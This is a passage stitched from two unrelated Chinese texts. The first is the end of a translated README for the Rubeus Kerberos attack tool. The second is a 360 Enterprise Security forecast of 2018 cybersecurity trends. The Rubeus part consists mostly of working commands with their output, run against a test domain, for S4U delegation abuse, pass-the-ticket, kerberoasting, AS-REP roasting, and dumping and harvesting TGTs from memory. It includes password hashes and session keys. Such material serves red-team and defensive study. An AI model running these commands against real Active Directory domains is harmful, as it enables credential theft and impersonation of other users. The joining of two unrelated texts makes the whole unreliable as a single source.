| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.localpatsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaE...(snip)...
c:Temptickets>Rubeus.exe s4u /ticket:C:TempTicketspatsy.kirbi /impersonateuser:dfm.a /msdsspn:ldap/primary.testlab.local /altservice:cifs /ptt
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCALpatsy'
[*] Impersonating user 'dfm.a' to target SPN 'ldap/primary.testlab.local'
[*] Final ticket will be for the alternate service 'cifs'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Building S4U2proxy request for service: 'ldap/primary.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2618 bytes
[*] Received 1798 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi):
doIGujCCBragAwIBBaEDAgE...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
或者，如果不提供 **/ticket** 参数， **/user:X** 和 **/rc4:X** 或 **/aes256:X** 哈希（
**/domain:X** 可选 ）可用于请求设置了限制委派的账户( **/user** 指定)的TGT，类似于 **asktgt** 操作，然后被用于
s4u 数据请求。
C:Temptickets>dir \primary.testlab.localC$
The user name or password is incorrect.
C:Temptickets>Rubeus.exe s4u /user:patsy /domain:testlab.local /rc4:602f5c34346bc946f9ac2c0922cd9ef6 /impersonateuser:dfm.a /msdsspn:LDAP/primary.testlab.local /altservice:cifs /ptt
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.localpatsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAg...(snip)...
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCALpatsy'
[*] Impersonating user 'dfm.a' to target SPN 'LDAP/primary.testlab.local'
[*] Final ticket will be for the alternate service 'cifs'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Building S4U2proxy request for service: 'LDAP/primary.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2618 bytes
[*] Received 1798 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi):
doIGujCCBragAwIBBaE...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:Temptickets>dir \primary.testlab.localC$
Volume in drive \primary.testlab.localC$ has no label.
Volume Serial Number is A48B-4D68
Directory of \primary.testlab.localC$
03/05/2017 05:36 PM <DIR> inetpub
08/22/2013 08:52 AM <DIR> PerfLogs
04/15/2017 06:25 PM <DIR> profiles
08/28/2018 12:51 PM <DIR> Program Files
08/28/2018 12:51 PM <DIR> Program Files (x86)
08/23/2018 06:47 PM <DIR> Temp
08/23/2018 04:52 PM <DIR> Users
08/23/2018 06:48 PM <DIR> Windows
8 Dir(s) 40,679,706,624 bytes free
### ptt
Rubeus的 **ptt** 参数非常简单：它通过[
LsaCallAuthenticationPackage()](https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/nf-ntsecapi-lsacallauthenticationpackage) API
和一个 KERB_SUBMIT_TKT_REQUEST 消息来将票据（TGT或者服务票据 .kirbi）提交给当前登录会话，或者（已获取管理员权限）使用
**/luid:X** 参数指定的登录会话。这和 Mimikatz 的 **kerberos::ptt** 函数功能相同。与其他的 Rubeus
**/ticket:X** 参数一样，这个值可以是一个.kirbi文件的base64编码或是.kirbi文件的磁盘路径。
c:Rubeus>Rubeus.exe ptt /ticket:doIFmj...(snip)...
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Import Ticket
[+] Ticket successfully imported!
提醒一下，一个登录会话一次只能应用一个TGT！解决方法是使用 **createnetonly** 操作启动登录类型为9的进程，然后使用
**/luid:X** 参数来将票据应用于指定的登录ID。
**请注意 /luid 参数需要管理员权限！**
### purge
**purge** 操作将清除当前登录会话中的所有 Kerberos 票据，或者 **/luid:X** 参数指定的登录会话。此操作的功能和
Mimikatz / Kekeo 的 **Kerberos::purge** 函数或 Cobalt Strike 的
**kerberos_ticket_purge** 功能相同。
C:Temptickets>Rubeus.exe purge
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Purge Tickets
[+] Tickets successfully purged!
C:Temptickets>Rubeus.exe purge /luid:34008685
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Purge Tickets
[*] Target LUID: 0x206ee6d
[+] Tickets successfully purged!
**请注意 /luid 参数需要管理员权限！**
### describe
有时你想了解一个特定的 .kirbi Kerberos 票据的详细信息。 **describe** 操作使用 **/ticket:X**
参数（TGT或服务票据），对此参数指定的票据进行解析，并描述其包含的值。像其他的 **/ticket:X** 参数一样，这个参数的值可以是一个 .kirbi
文件的 base64 编码，或者一个磁盘上的 .kirbi 文件路径。
c:Rubeus>Rubeus.exe describe /ticket:doIFmjCC...(snip)...
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Display Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : krbtgt
ServiceRealm : TESTLAB.LOCAL
StartTime : 9/17/2018 6:51:00 PM
EndTime : 9/17/2018 11:51:00 PM
RenewTill : 9/24/2018 4:22:59 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 2Bpbt6YnV5PFdY7YTo2hyQ==
### createnetonly
**createnetonly** 操作使用
[CreateProcessWithLogonW()](https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-createprocesswithlogonw) API
创建一个新的隐藏（除非指定了 **/show** 参数）进程，其SECURITY_LOGON_TYPE 是9（新建票据），相当于runas
/netonly操作，返回这个进程的 ID 和 LUID （登录会话ID）。然后，就可以使用 **ptt /luid:X** 参数将指定的 Kerberos
票据应用于此进程，前提是已提升了权限。这样就可以防止清除当前登录会话的现有TGT。（译者注：从而实现将多个票据应用于同个登录会话）
C:Rubeus>Rubeus.exe createnetonly /program:"C:WindowsSystem32cmd.exe"
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Create Process (/netonly)
[*] Showing process : False
[+] Process : 'C:WindowsSystem32cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 9060
[+] LUID : 6290874
### Kerberoast
**kerberoast** 操作实现了 [SharpRoast](https://github.com/GhostPack/SharpRoast)
项目的功能。与 SharpRoast 一样，这部分功能使用了 [KerberosRequestorSecurityToken.GetRequest
Method()](https://msdn.microsoft.com/en-us/library/system.identitymodel.tokens.kerberosrequestorsecuritytoken.getrequest\(v=vs.110).aspx)
方法，此方法是 @machosec 在 PowerView 项目中实现的，用于请求正确的服务票据。与 SharpRoast 不同的是，这个操作使用
ASN.1 来解析得到的结果结构，而非使用 [janky
regex](https://github.com/GhostPack/SharpRoast/blob/6cdbeb0cf14fe60ae74fdc174a9e70081c2fa8c0/SharpRoast/Program.cs#L70)
。
如果没有其他参数，则当前域中所有设置了 SPN 的用户账户都将被执行 kerberoast 操作。 **/spn:X** 参数可针对指定的SPN 进行操作，
**/user:X** 参数可针对指定的用户进行操作， **/ou:X** 参数可针对指定的 OU 中的用户进行操作。如果要使用备用域凭据进行
kerberoasing，可以使用 **/creduser:DOMAIN.FQDNUSER** **/credpassword:PASSWORD**
参数来指定。
c:Rubeus>Rubeus.exe kerberoast /ou:OU=TestingOU,DC=testlab,DC=local
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Kerberoasting
[*] SamAccountName : testuser2
[*] DistinguishedName : CN=testuser2,OU=TestingOU,DC=testlab,DC=local
[*] ServicePrincipalName : service/host
[*] Hash : $krb5tgs$5$*$testlab.local$service/
### asreproast
**asreproast** 操作和 [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast/)
项目的功能一致，后者使用（体积较大的） [BouncyCastle](https://www.bouncycastle.org/)
库实现类似的功能。如果一个用户没有启用 kerberos 预身份认证，则可以为此用户成功请求 AS-REP，而此结构的一个组件可以被离线破解，也就是
kerberoasting。
**/user:X** 参数是必需的，而 **/domain** 和 **/dc** 参数是可选的。如果 **/domain** 和 **/dc**
参数没有被指定，则 Rubeus 将和其他操作一样，获取系统的默认值。
[ASREPRoast](https://github.com/HarmJ0y/ASREPRoast/) 项目中为此哈希类型提供了与
JohnTheRipper 兼容的破解模块。
c:Rubeus>Rubeus.exe asreproast /user:dfm.a
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: AS-REP Roasting
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.localdfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 163 bytes
[*] Received 1537 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
[email protected]:F7310EA341128...(snip)..
### dump
在已经管理员权限的情况下， **dump** 操作将从内存中提取当前的 TGT 和服务票据。可以使用 **/service** （使用
**/service:krbtgt** 来指定 TGT 票据）和 / 或 登录 ID （ **luid:X**
参数）来指定要提取的票据类型。操作将返回base64编码的blob 数据，并保存为KRB-CRED 文件（.kirbis）。此文件可被用于 **ptt**
操作，Mimikatz的 **kerberos::ptt** 功能，或者 Cobalt Strike 的 **kerberos_ticket_use**
操作。
c:Temptickets>Rubeus.exe dump /service:krbtgt /luid:366300
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Dump Kerberos Ticket Data (All Users)
[*] Target LUID : 0x596f6
[*] Target service : krbtgt
UserName : harmj0y
Domain : TESTLAB
LogonId : 366326
UserSID : S-1-5-21-883232822-274137685-4173207997-1111
AuthenticationPackage : Kerberos
LogonType : Interactive
LogonTime : 9/17/2018 9:05:26 AM
LogonServer : PRIMARY
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName : [email protected]
[*] Enumerated 1 ticket(s):
ServiceName : krbtgt
TargetName : krbtgt
ClientName : harmj0y
DomainName : TESTLAB.LOCAL
TargetDomainName : TESTLAB.LOCAL
AltTargetDomainName : TESTLAB.LOCAL
SessionKeyType : aes256_cts_hmac_sha1
Base64SessionKey : AdI7UObh5qHL0Ey+n28oQpLUhfmgbAkpvcWJXPC2qKY=
KeyExpirationTime : 12/31/1600 4:00:00 PM
TicketFlags : name_canonicalize, pre_authent, initial, renewable, forwardable
StartTime : 9/17/2018 4:20:25 PM
EndTime : 9/17/2018 9:20:25 PM
RenewUntil : 9/24/2018 2:05:26 AM
TimeSkew : 0
EncodedTicketSize : 1338
Base64EncodedTicket :
doIFNjCCBTKgAwIBBaEDAg...(snip)...
[*] Enumerated 4 total tickets
[*] Extracted 1 total tickets
**注意这个操作必须运行于管理员权限下，以获取其他用户的 Kerberos 票据！**
### monitor
**monitor** 操作将监视 4624 登录事件，并提取新登录 ID(LUID)的任意 TGT 票据。 **、interval**
参数（以秒为单位，默认为60）来指定检查事件日志的频率。 **/filteruser:X**
参数用于指定只返回特定用户的票据。此功能在没有设置约束委派的服务器上特别有用。
当 **/fiteruser** 指定的用户（如果未指定，则任何用户）创建一个新的4624登录事件时，将输出所有提取到的 TGT KRB-CRED 数据。
c:Rubeus>Rubeus.exe monitor /filteruser:dfm.a
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: TGT Monitoring
[*] Monitoring every 60 seconds for 4624 logon events
[*] Target user : dfm.a
[+] 9/17/2018 7:59:02 PM - 4624 logon event for 'TESTLAB.LOCALdfm.a' from '192.168.52.100'
[*] Target LUID : 0x991972
[*] Target service : krbtgt
UserName : dfm.a
Domain : TESTLAB
LogonId : 10033522
UserSID : S-1-5-21-883232822-274137685-4173207997-1110
AuthenticationPackage : Kerberos
LogonType : Network
LogonTime : 9/18/2018 2:59:02 AM
LogonServer :
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName :
ServiceName : krbtgt
TargetName :
ClientName : dfm.a
DomainName : TESTLAB.LOCAL
TargetDomainName : TESTLAB.LOCAL
AltTargetDomainName : TESTLAB.LOCAL
SessionKeyType : aes256_cts_hmac_sha1
Base64SessionKey : orxXJZ/r7zbDvo2JUyFfi+2ygcZpxH8e6phGUT5zDbc=
KeyExpirationTime : 12/31/1600 4:00:00 PM
TicketFlags : name_canonicalize, renewable, forwarded, forwardable
StartTime : 9/17/2018 7:59:02 PM
EndTime : 9/18/2018 12:58:59 AM
RenewUntil : 9/24/2018 7:58:59 PM
TimeSkew : 0
EncodedTicketSize : 1470
Base64EncodedTicket :
doIFujCCBbagAwIBBaE...(snip)...
[*] Extracted 1 total tickets
**注意此操作需要运行于管理员权限！**
### harvest
**harvest** 操作比 monitor 操作更进一步。它将持续地监视登陆日志中的4624事件，每间隔 **/interval:MIMUTES**
指定的时间，就针对新的登录事件，进行新的 TGT KRB-CRED 文件的提取，并将提取的 TGT 进行缓存。在 **/interval**
指定的时间间隔内，任何将在下一个时间间隔到期的 TGT 都将被自动续订（直到他们的续订期限），并且当前缓存的可用 / 有效的 TGT KRB-CRED
.kirbis 文件将以 base64 编码的 blob 数据格式输出。
这就允许你在不用打开 LSASS 进程的读取句柄的情况下，收集系统中的可用 TGT。但是记住，提取票据的操作需要管理员权限。
c:Rubeus>Rubeus.exe harvest /interval:30
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v0.0.1a
[*] Action: TGT Harvesting (w/ auto-renewal)
[*] Monitoring every 30 minutes for 4624 logon events
...(snip)...
[*] Renewing TGT for [email protected]
[*] Connecting to 192.168.52.100:88
[*] Sent 1520 bytes
[*] Received 1549 bytes
[*] 9/17/2018 6:43:02 AM - Current usable TGTs:
User : [email protected]
StartTime : 9/17/2018 6:43:02 AM
EndTime : 9/17/2018 11:43:02 AM
RenewTill : 9/24/2018 2:07:48 AM
Flags : name_canonicalize, renewable, forwarded, forwardable
Base64EncodedTicket :
doIFujCCBbagAw...(snip)...
**注意此操作需要运行于管理员权限！**
此功能可以和 [Seatbelt](https://github.com/GhostPack/Seatbelt) 的 **4624Events**
功能完美配合， **4624Events** 将解析最近七天内的4624登录事件，如果其中有感兴趣的用户以特定登陆类型定期进行认证的话，就会有可收集的
Kerberos TGT， **harvest** 功能可以帮你获取这些凭证。
### Wrapup
这个项目凝聚了血汗和泪水（Kerberos相关部分带来的），现在我怀着激动的心情将它交给攻击专家们。希望我们都开始拥抱 Kekeo
的强大功能，即使它是另外一个项目。
注意，此代码还是beta版，它已经在有限的环境中进行了测试，但我确信肯定还存在很多 bug 和问题。：） | 社区文章 |
# 360企业安全：2018年中国网络安全十大趋势预测
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 新时代下的网络安全新常态：2018中国网络安全十大趋势预测
两年前，时任RSA总裁Amit
Yoran在RSAC的主题演讲中认为，在当今的网络安全威胁形势下，防御者如同拿着一张旧地图在海上航行，茫然无助。在当今动态的、不对称的、复杂的和不确定的网络安全环境下，画地图已经徒劳无益，所以我们尝试着做一个指南针。
中国网络安全行业，不仅面临着全球网络空间共同的安全威胁，还有因为不同基础和不同发展阶段带来的个性问题挑战，以及因为不同的国家战略和政策法规下带来的监管环境的不同，这些都决定了我们需要自己的指南针。
为此360企业安全研究院邀请了近50位国内网络安全行业专家共同对2018年的行业风向进行把握和预测，在此基础上形成了《2018年中国网络安全十大趋势》，期望它成为一个指南针，帮助从事和关心网络安全行业发展的同仁们找准方向。
## 勒索攻击成为网络攻击的一种新常态，攻击方式不断花样翻新
勒索软件是近两年来影响最大、最受关注的网络安全威胁之一。攻击者通过电子邮件、网络渗透、蠕虫病毒等多种形式，向受害者的电脑终端或服务器发起攻击，加密系统文件并勒索赎金。
从整体态势来看，2018年勒索软件的质量和数量将不断攀升，成为网络攻击的一种新常态。
2017年，勒索软件继续呈现出全球性蔓延态势，攻击手法和病毒变种进一步多样化。特别是2017年5月全球爆发的永恒之蓝勒索蠕虫（WannaCry）和随后在乌克兰等地流行的NotPetya病毒，使人们对于勒索软件的关注达到了空前的高度。在全球范围内，政府、教育、医院、能源、通信、制造业等众多关键信息基础设施领域都遭受到了前所未有的重大损失。
与WannaCry无差别的显性攻击相比，针对中小企业网络服务器的精准攻击则是隐性的，不为多数公众所知，但却已成为2017年勒索软件攻击的另一个重要特点。统计显示，过去一年国内勒索软件的攻击目标中，至少有15%是明确针对政企机构的。
攻击者的手段也在不断翻新，使用僵尸网络广发垃圾邮件传播只是最初级的方式，服务器入侵、挂马网页、漏洞等技术手段现在已经被大量使用，有组织的攻击者还会结合已泄漏网络军火库、内网横向移动等高级渗透手法，对目标机构的IT供应链薄弱环节进行针对性攻击，令人防不胜防。
从攻击特点来看，勒索软件的免杀和自我传播能力将越来越强，静默期会不断延长；从攻击目标来看，勒索软件攻击的操作系统类型将越来越多，同时定向攻击能力也将更加突出。
此外，勒索软件造成的经济损失会越来越大。以国内《网络安全法》、网络安全等级保护制度、欧盟一般数据保护条例为代表的全球各国数据安全保护法规相继实施后，受害者支付赎金的数量也会越来越多，但由于各种原因，通过支付赎金恢复文件的成功率将大幅下降。
## IPv6、5G等新技术助推物联网的发展，物联网安全威胁日趋严重
由于安全防护薄弱，物联网设备长期以来都是黑客肆虐的游乐场。在过去，安防摄像头、家用路由器、网络打印机等联网设备因为暴露在互联网上而被攻击的案例数不胜数，攻击者不需要很高超的技巧，只需凭借网上公开的默认弱口令、黑客工具就可以控制这些设备。
由于制造商安全能力不足和行业监管缺失，2018年物联网设备的安全威胁将愈演愈烈，对用户的个人隐私、资金财产乃至人身安全造成巨大损失。
2016年10月，Mirai僵尸网络控制数百万物联网设备对美国DNS服务商Dyn发起DDoS攻击，致使Twitter、Amazon、华尔街日报等数百个著名网站无法访问，大半个美国的网络服务形同瘫痪。大众第一次见识到不受控制的物联网设备的可怕性。当时Mirai的主要感染手段还只是弱口令，它打开的物联网潘多拉魔盒在2017年继续发展，陆续出现HTTP
81、IoT_reaper等使用nday甚至1day漏洞感染物联网设备组建的僵尸网络，攻击者使用类似手段已经炉火纯青。
过去一年还曝光了大量底层威胁，例如影响所有博通WiFi芯片的命令执行漏洞Broadpwn、蓝牙蠕虫级漏洞BlueBorne、任意终端WiFi流量劫持漏洞KCACK，因为涉及面太广而难以修复，都将成为以后的“安全债务”。
我国政府在2017年下半年密集出台了推进IPv6、5G、工业互联网等多项前沿科技发展的政策，将助推物联网更快的普及。但其安全威胁也日趋严重，物联网威胁不止是网络安全问题，还将牵涉到人身安全，我们亟需可实施的防护解决方案。
## 针对关键基础设施的网络攻击升级，攻防两端的对抗将加剧
如果说伊朗核设施被攻击、乌克兰电力设施成为黑客的演武场，我们还只是作为“故事”隔岸观火，那么“永恒之蓝”勒索蠕虫攻击事件则让网络攻击对关键基础设施的影响“全民可视化”，加油站无法加油、公共服务系统无法运行、工厂生产系统瘫痪，直接影响经济社会平稳运行。
2018年以破坏和窃取情报为目的的，针对关键基础设施的攻击将逐渐升级：1）国家力量和恐怖组织、敌对势力推动的，以“网络战”和“恐怖袭击”为目的针对关键基础设施的网络攻击会增加；2）攻击目标从电力、交通等“命脉”设施，延伸到公共服务系统、重要工业企业的生产设施、互联网关键基础设施；3）类似永恒之蓝的武器化的攻击工具会愈演愈烈，攻击手段呈现多样化，针对性的勒索攻击风险加剧，间谍事件增多，新型恶意软件和攻击工具增加。
而与此同时，针对关键设施的安全防护和安全保障也将成为网络安全领域的重点方向，以美国为例，2017年初，特朗普总统签署了《增强联邦政府网络与关键性基础设施网络安全》总统行政令，4月份美国国防部专门投资7700万美元建立新的网络安全计划，专门打击针对电网设施的黑客攻击。9月美国政府还与各电力企业合作建立网络战演习，重点保护电力等基础设施，演习的覆盖范围还延伸到了大银行、华尔街和电信行业。
我国相关主管机构也已经组织了多次针对电力、民航等关键基础设施的攻防演习，从已经实施的《网络安全法》到正在征求意见的《关键信息基础设施保护条例》都将关键基础设施保护上升到了国家战略层面，集中力量、加大投入、创新技术、提升能力将成为保障关键基础设施安全的趋势和方向。
## 人工智能成为网络安全领域的热点，保护人工智能安全和用人工智能技术保护安全两手都要抓，两手都要硬
如果要评选2017年安全领域最受追捧的技术，人工智能毋庸置疑是其中之一。网络安全智库平台《安全内参》发布的2017年全球网络安全投融资事件Top100中，与人工智能相关的投融资事件超过15起，融资额度超过9亿美元，分布在威胁检测、终端安全、云安全等不同领域。
预计2018年人工智能在安全领域的利用将会继续受到追捧。
现在黑客已经开始利用人工智能进行网络攻击，不仅扩大黑客的攻击面，也让黑客拥有更多的攻击手段。面对利用人工智能进行的黑客攻击，我们的最佳防御策略也是利用人工智能。网络安全领域使用人工智能技术是有两大原因:
一是随着网络攻击增多，危害程度上升，网络安全专业人才严重不足。二是“0day攻击”等新型攻击形式增多，防范更加困难。
安全投资人认为，人工智能将是下一代安全解决方案的核心。人工智能防御系统能从黑客攻击事件中，学会各种攻击和防御策略。它能设定正常用户行为的基准，然后搜索异常行为，速度比人类要快得多。这比维持一支专门处理网络攻击的安全团队要省钱得多。人工智能也可以用来制定防御策略。
Gartner研究副总裁Tracy Tsai认为，到2020年，将有40
%的安全厂商会声称具备人工智能相关能力。她认为目前人工智能主要应用在如下领域，包括应用程序安全测试，以减少误报；恶意软件检测，用于终端保护；漏洞测试目标选择；SIEM管理；用户和实体行为分析（UEBA）；
网络流量分析等方面。
安全专家认为，传统安全设备如防火墙、杀毒、WAF、漏洞评估等都以防御为导向，这样的模式难以适应云和大数据为代表的新安全时代需求，只有通过海量数据深度挖掘与学习，采用安全智能分析、识别内部安全威胁、身份和访问管理等方式，才能帮企业应对千变万化的安全威胁。但在整个网络安全的领域来说，人工智能相关技术的应用还是处于比较初级的阶段。
乔治亚大学终身教授、360
IoT研究院院长李康则提醒人工智能应用带来的安全风险。他认为公众对人工智能的关注，尤其是深度学习方面，缺少对安全的考虑，造成人工智能的安全盲点。
实际上，随着一批深度学习应用逐渐开始变成现实，安全问题也渐渐显现出来。李康认为，人工智能应用面临来自多个方面的威胁：包括深度学习框架中的软件实现漏洞、对抗机器学习的恶意样本生成、训练数据的污染等等。这些威胁可能导致人工智能所驱动的识别系统出现混乱，形成漏判或者误判，甚至导致系统崩溃或被劫持，并可以使智能设备变成僵尸攻击工具。
## 以培养和提升网络安全实战能力为目标的攻防演练、攻防比赛和网络安全学院成为行业热点
如同军事对抗，“网络安全的本质在对抗，对抗的本质在攻防两端能力较量”，较量就要真刀真枪，实战演练是检验对抗能力的最有效的手段。无论是检验和提高整体防御能力和水平，还是培养人才，基于实景对抗的攻防演练、攻防比赛都将继续成为2018年的行业热点和发展方向。
美国五角大楼是攻防演练的忠实拥趸，从“黑掉国防部”、“黑掉陆军”到“黑掉空军”，演练的层次、深度和效果越来越深入，引发了全球网络安全行业“跟随效应”。
2017年开始，国内攻防演练和攻防比赛的热度开始明显升温，据不完全统计，全年国内各类不同规模的攻防演练超过了100场，各类网络安全攻防比赛的总数近200场，参与比赛人次近60000人。与前几年相比，攻防演练迭代升级趋势明显，1）演练的针对性、演练规模和演练的实战性都有明显提升，尤其是针对特定目标的深度攻防，以验证防御系统的效果，发现潜在的威胁和漏洞。2）演练组织者有国家、行业、地区、银行、电力等关键信息基础设施机构和企业，甚至一些电商、互联网企业、家电企业也开始组织“蓝军”，实施攻防演练。
2018年，攻防演练和攻防会继续成为热点，一位专家在贵阳市攻防演练中的一段话可以成为2018年攻防演练的共同趋势和方向：攻防演练将进一步调整演练方法和演练方式，扩大范围，增强实效；在实战中选好盾、用好矛，分层分类分级解决安全问题，推进演练模式多样化；时间上从年度演练或不定期演练向全年常态化延伸；模式上从比赛式向研究式解决问题延伸；方法上从背靠背向面对面延伸，刚柔相济、重点帮扶，在解决军民融合问题上寻求更大的突破和亮点。
注重实战型网络安全人才培养，采用校企合作模式的网络空间学院也将在2018年继续成为热点，永恒之蓝事件后，整个行业对于实战型人才的极度缺乏引发了这种校企联合培养模式的投资热潮，360等网络安全企业都推出了包括课程体系、实训环境、考试和认证在内的完整的体系系统，可以跟高校、职校无缝对接，快速完成实战型人才培养。
## 云、物联网与数字化推动身份认证技术变革，身份与访问管理（IAM）是一个比较成熟安全领域，但这不意味着没有变化
2017年的Verizon数据泄露报告显示，81%的数据泄露都与身份被窃取有关系。可以说，随着越来越多用户访问远程或者云端资源，身份已经成为当前最有重要性的攻击对象。
此外，云服务、设备、传统软件的结合呈现了越来越多样化的趋势，如何安全地管理身份验证已经成为了一大难题，即便是大公司也需要帮助。这些趋势推动业界对身份管理领域的投资和重视。
在2017年，身份管理（身份与访问管理）领域受到追捧，发生11笔以上的投融资，包括数笔规模数亿美元的并购与上市融资，以及几笔数千万美元的投资事件。
根据《安全内参》统计，该领域的重大投融资事件包括SAP
3.5亿美元收购Gigya、金雅拓完成收购3M身份管理业务、Okta公司与SailPoint上市融资2.4亿美元。此外，ForgeRock融资
8800万美元，国内芯盾时代获得近亿元人民币投资。
预计全球的IAM市场预计将出现13.37%的年复合增长率，预计市场规模将从2016年81.58亿美元增至2022年的173.17亿美元。
IDC认为，两大因素推动身份与访问管理投资，一是提升身份与访问安全，以及改善内部威胁的能力；此外，简化身份与访问管理也是很多机构的诉求。
随着企业往自身内部网络和基于云的网络中添加成千上万的新设备，IAM技术将面临不得不支持数百万台设备(及用户)的需求。
目前，IAM领域的发展，走向云端成为首选，IAM作为服务（IDaaS）成为潮流。选择云端IAM的原因是可靠性、灵活性和运营成本的大幅降低。专家认为，目前云端与本地的IAM已经差别不大，甚至具有更高的可靠性和可扩展性。IDaaS市场预计可以出现25%的增长。
对于IAM产品来说，未来需要在业务部门的便捷和安全部门的安全控制之间取得平衡。目前传统的IAM方案依然根据用户ID来授予访问权限，但随着社交媒体、大数据、BYOD以及物联网的普及，用户在保留ID的同时，会根据其与周围的交互情况，赋予信息访问权限。此外，由于攻击容易复杂，现在正在普及的双因素验证仍略显不足，增加生物识别等新的验证机制。
## 网络安全新常态推动政企机构建立重保常态化，应急小时化的安全体系
2017年5月的永恒之蓝勒索蠕虫事件和《网络安全法》6月1日的正式实施，对于网络安全行业是一个分水岭，广大的政企机构的攻防态势和网络安全监管形势发生了根本变化，我们称之为网络安全的新常态。2018年，网络安全将全面进入这种新常态，政企机构既面临攻击复杂化、漏洞产业化、军火民用化等日益升级的外部安全威胁，又要面对来自安全法制化、重保常态化、应急小时化等监管压力。
“永恒之蓝”事件的爆发是对重大安全事件应急响应的一次考验，它留给响应处置的时间只有24小时，事件处置中的时间频度均是以“小时”为单位的。类似永恒之蓝等大型安全事件一旦发生，要求政企机构迅速做出响应和应急，国家监管力度也将会越来越强。
面对这样的新常态，在过去二三十年中建立的网络安全体系已经不能更好的应对攻防形式的变化，传统完全依赖安全设备和技术的严防死守无法应对国家背景的高级威胁，防护重点需要过渡到加强检测和响应，除了顶层设计，在技战术上也要进行及时的转变，坚不可摧、严防死守的‘马奇诺防线’是不存在的，未来敌方利用的不少漏洞可能是未知的，攻击方式也可能仅出现一次，在这种情况下，不能期望在对方攻进来之前就可以发现和拦截阻断。因此，建立起重保常态化、应急小时化的新一代安全体系是政企机构应对网络安全新常态的有力补充。
